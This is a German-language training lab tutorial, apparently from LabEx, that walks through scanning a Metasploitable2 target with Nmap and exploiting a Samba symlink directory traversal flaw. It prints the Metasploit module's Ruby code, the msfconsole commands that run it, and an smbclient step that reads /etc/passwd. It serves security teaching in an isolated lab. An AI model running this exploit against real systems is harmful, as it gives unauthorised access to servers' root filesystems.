Samba-Schwachstelle auf Metasploitable2 mit Nmap ausnutzen

NmapBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie, wie Sie eine neue Samba-Schwachstelle auf der Metasploitable2-Zielmaschine ausnutzen können. Während des gesamten Prozesses werden Ihnen für jeden Schritt Screenshots zur Verfügung gestellt. Durch die Absolvierung dieses Labs gewinnen Sie praktische Erfahrungen in der Verwendung von Tools zur Ausnutzung der Samba-Schwachstelle.

Dieser Kurs ist ein rein praktischer experimenteller Leitfaden. Um Ihnen das Verständnis der Operationen im Experiment zu erleichtern, wird etwas Theorie aus dem Bereich der Informationssicherheit eingeführt, und es werden die wertvollsten Artikel empfohlen, die Sie während der Übung lesen können.

Starte die Experimentumgebung

In diesem Schritt starten Sie die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2-Virtuelle Maschine) für das Experiment.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping testen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping zu stoppen.

Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit der Penetrationstests beginnen.

Hinweis: Wenn Sie versehentlich die aktuelle bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können erneut docker run -ti --network host b5b709a49cd5 bash auf dem Host ausführen, um einen neuen Kali-Container zu starten und in die bash-Umgebung einzutreten, um das Experiment fortzusetzen.

Scannen Sie den Zielhost auf Schwachstellen

In diesem Schritt verwenden Sie Nmap, um den Zielhost auf Schwachstellen zu scannen.

Zuerst melden Sie sich im LabEx-Kali-Umfeld am MSF-Terminal an:

cd ~
service postgresql start
msfdb init
msfconsole

Die Sammlung von Informationen über den Zielhost ist der erste Schritt bei der Penetrationstests. Verwenden Sie Nmap, um den Zielhost auf Schwachstellen zu scannen und speichern Sie die Scanergebnisse in der Datei /tmp/report.txt, indem Sie den folgenden Befehl eingeben:

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Die hier verwendeten Parameter haben folgende Bedeutung:

Parameter Beschreibung
-p Gibt den zu scannenden Portbereich an
-T4 Legt die Timing-Politik für das Nmap-Scannen fest, mit Werten von 0 - 5 (je höher, desto schneller)
-A Aktiviert die Betriebssystemerkennung und die Versionserkennung
-v Zeigt während des Scanning-Prozesses detaillierte Informationen an
>/tmp/report.txt Leitet die Ausgabe in eine Datei um, um sie später zu analysieren

Dieser Prozess kann eine Weile dauern, da ein großer Portbereich gescannt wird, um umfassende Informationen zu sammeln. Bitte haben Sie Geduld und warten Sie eine bis zwei Minuten.

Nach Abschluss des Scans drücken Sie Ctrl+D und verwenden Sie den cat-Befehl, um den Dateiinhalt im LabEx-Kali-Terminal anzuzeigen:

cat /tmp/report.txt

Sie sollten in der Ausgabe Informationen ähnlich den folgenden sehen:

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Dies zeigt an, dass auf den Ports 139 und 445 der Samba-Service läuft.

Analysieren Sie die Samba - Schwachstelle

In diesem Schritt lernen Sie die Samba-Schwachstelle kennen und analysieren den Kerncode des Exploit-Moduls.

Samba ist eine Open-Source-Software, die es Betriebssystemen vom UNIX-Typ ermöglicht, sich über das SMB/CIFS (Server Message Block/Common Internet File System)-Netzwerkprotokoll, das von Microsoft Windows verwendet wird, zu verbinden. Version 3 ermöglicht nicht nur den Zugriff auf und die Freigabe von SMB-Ordner und Druckern, sondern kann auch als Domänencontroller in eine Windows Server-Domäne integriert oder als Mitglied in ein Active Directory aufgenommen werden. Vereinfacht ausgedrückt, schafft diese Software eine Brücke zwischen Windows und UNIX-ähnlichen Betriebssystemen und ermöglicht so den Ressourcen-Sharing zwischen beiden.

Samba hat ein breites Anwendungsspektrum, und daher können Schwachstellen in Samba erhebliche Auswirkungen haben. Samba kann Netzwerkfreigaben für ausgewählte Unix-Verzeichnisse (einschließlich aller Unterverzeichnisse) erstellen. Diese Funktion ermöglicht es Windows-Benutzern, über das Netzwerk auf diese Unix-Verzeichnisse zuzugreifen, genauso wie auf normale Windows-Ordner.

Der in diesem Experiment verwendete Schwachstellenindex lautet:

OSVDB-62145

Der Quellcode-Index für das in diesem Experiment verwendete Samba-Modul lautet:

symlink_traversal.rb

Lassen Sie uns die Erklärung des Kerncodes durchgehen:

  ## Modul-Initialisierungsinformationen, einschließlich Autorinformationen und Modul-Einführung
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Registrieren von Optionen
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Hauptausführungsfunktion
  def run

    ## Funktion zum Verbinden mit dem Server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Verbinden mit dem Zielhost
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Versuch, in das Root-Dateisystem einzutreten
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Ausgabe einer Erfolgsmeldung nach erfolgreichem Eintritt
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

Nach der Erklärung des Kerncodes des Moduls führen wir die eigentliche Ausnutzung im MSF-Terminal durch, indem wir die folgenden Befehle eingeben:

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

Setzen Sie den Zielhost:

set RHOST 192.168.122.102

Wählen Sie das Freigabeverzeichnis aus:

set SMBSHARE tmp

Hinweis: Als Erinnerung: Die Auswirkung dieser Samba-Schwachstelle besteht darin, dass es möglich ist, Netzwerkfreigaben für ausgewählte Unix-Verzeichnisse (einschließlich aller Unterverzeichnisse) zu erstellen.

Nachdem Sie alle erforderlichen Parameter festgelegt haben, können Sie mit der Ausnutzung der Schwachstelle fortfahren:

exploit

Bei Erfolg sollten Sie die folgende Meldung sehen:

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

Nach erfolgreicher Ausnutzung beenden Sie mit dem Befehl exit und testen Sie, ob Sie sich mit smbclient im Terminal verbinden können. Sie werden zur Eingabe eines Passworts aufgefordert, können aber ohne Eingabe eines Passworts Enter drücken:

exit
smbclient //192.168.122.102/tmp

Nach der erfolgreichen Verbindung können Sie den Zugriff auf das Root-Dateisystem überprüfen, indem Sie den folgenden Befehl ausführen:

more rootfs/etc/passwd

Sie sollten eine Ausgabe ähnlich der folgenden sehen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

Dies bestätigt, dass Sie die Schwachstelle erfolgreich ausgenutzt und über die erstellte Netzwerkfreigabe Zugang zum Zielhost erhalten haben.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Zusammenfassung

In diesem Lab haben Sie die Samba-Schwachstelle in Metasploitable2 kennengelernt und wurden durch den Prozess der Ausnutzung dieser Schwachstelle auf der Zielmaschine mithilfe der ursprünglichen Schritte geführt. Anschließend haben Sie die erstellte Netzwerkfreigabe verwendet, um sich auf dem kompromittierten Zielhost anzumelden. Die in diesem Lab behandelten Schlüsselpunkte umfassen:

  • Grundlegende Linux-Befehle
  • Nmap-Schwachstellenscanning
  • Analyse der gescannten Samba-Schwachstelle
  • Erklärung des Kerncodes des symlink_traversal-Moduls
  • Anmeldung auf dem Zielhost über die Netzwerkdateifreigabe

Es wird empfohlen, diese Schritte wiederholt zu üben, um Ihr Verständnis des Penetrationstest-Prozesses zu festigen. Der Abschnitt "Empfohlene Lektüre" bietet zusätzliche Ressourcen, um Ihr Wissen über Samba-Schwachstellen zu vertiefen.